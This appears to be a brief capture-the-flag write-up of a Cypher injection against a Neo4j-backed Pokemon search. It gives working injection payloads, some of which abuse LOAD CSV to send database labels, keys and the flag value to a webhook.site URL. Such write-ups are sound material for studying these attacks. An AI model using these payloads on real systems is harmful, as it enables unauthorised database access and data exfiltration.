One comma causes an error = injection. But its not SQL, but from the returened error it seems to be neo4j db.After some trial and error, came to conclusion that the query looks something like this:`MATCH (pokemon:Pokemon) WHERE p.name =~ '.*' + toLower({param}) + '.*' RETURN p`
sending this: `') RETURN pokemon//` works perfectly
Abuse LOAD CSV to leak some information:
`') CALL db.labels() YIELD name as label LOAD CSV FROM 'https://webhook.site/REDACTED/'+label AS y RETURN *//`
reveals that there are two types of nodes in the graph: pokemon and flag.now trying to read the properties of flag:`') MATCH (f:flag) WITH KEYS(f) as keys UNWIND keys as key LOAD CSV FROM 'https://webhook.site/REDACTED/'+key AS y RETURN *//`
reveals a property flag:
`') MATCH (f:flag) WITH f.flag as ff LOAD CSV FROM 'https://webhook.site/REDACTED/'+ff AS y RETURN *//`